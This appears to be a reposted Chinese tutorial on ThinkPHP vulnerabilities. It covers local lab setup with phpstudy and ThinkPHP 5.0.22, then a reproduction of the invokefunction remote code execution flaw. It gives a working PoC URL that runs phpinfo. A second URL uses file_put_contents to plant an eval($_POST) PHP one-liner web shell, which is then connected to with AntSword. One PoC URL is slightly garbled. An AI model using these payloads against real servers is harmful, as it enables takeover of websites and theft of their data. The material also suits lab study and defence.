thinkphp框架漏洞总结

ThinkPHP框架漏洞总结

Thinkphp简介

ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的，是一个快速、兼容而且简单的轻量级国产PHP开发框架，诞生于2006年初，原名FCS，2007年元旦正式更名为ThinkPHP，遵循Apache2开源协议发布，从Struts结构移植过来并做了改进和完善，同时也借鉴了国外很多优秀的框架和模式，使用面向对象的开发结构和MVC模式，融合了Struts的思想和TagLib（标签库）、RoR的ORM映射和ActiveRecord模式。
ThinkPHP可以支持windows/Unix/Linux等服务器环境，正式版需要PHP5.0以上版本支持，支持MySql、PgSQL、Sqlite多种数据库以及PDO扩展，是一款跨平台，跨版本以及简单易用的PHP框架。

Thinkphp本地安装

本地搭建

1 安装vc9_x86(必装)

2安装phpstudy20161103

开启php

将下载好的thinkphp5.0.22解压，可以得到下图中的内容，将所有文件复制到网站的根目录，也就是www/web（这个是我新建的文件夹）

输入域名，这里本地，可以输入127.0.0.1或者localhost或者本地ip都可（这里如果是默认的域名，远程访问的时候要改一下hosts文件），网站目录可以是任意文件夹，默认是phpstudy安装目录下的WWW文件夹，点击新增后再点击保存设置并生成配置文件即可：

thinkphp的主目录是在public目录下，所以要进vhosts-conf文件配置目录

即可远程访问

Thinkphp本地复现

验证poc

http://192.168.8.89/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_arra y&vars[0]=phpinfo&vars[1][]=-1%20and%20it%27ll%20execute%20the%20phpinfo

写入一句话

<?php eval($_POST['zcc']);?>

http://192.168.8.89/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zcc.php&vars[1][]=%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%7a%63%63%27%5d%29%3b%3f%3e

可以看见被成功写入

蚁剑成功连接

本文地址：百科问答频道 https://www.neebe.cn/wenda/917751.html，易企推百科一个免费的知识分享平台，本站部分文章来网络分享，本着互联网分享的精神，如有涉及到您的权益，请联系我们删除，谢谢！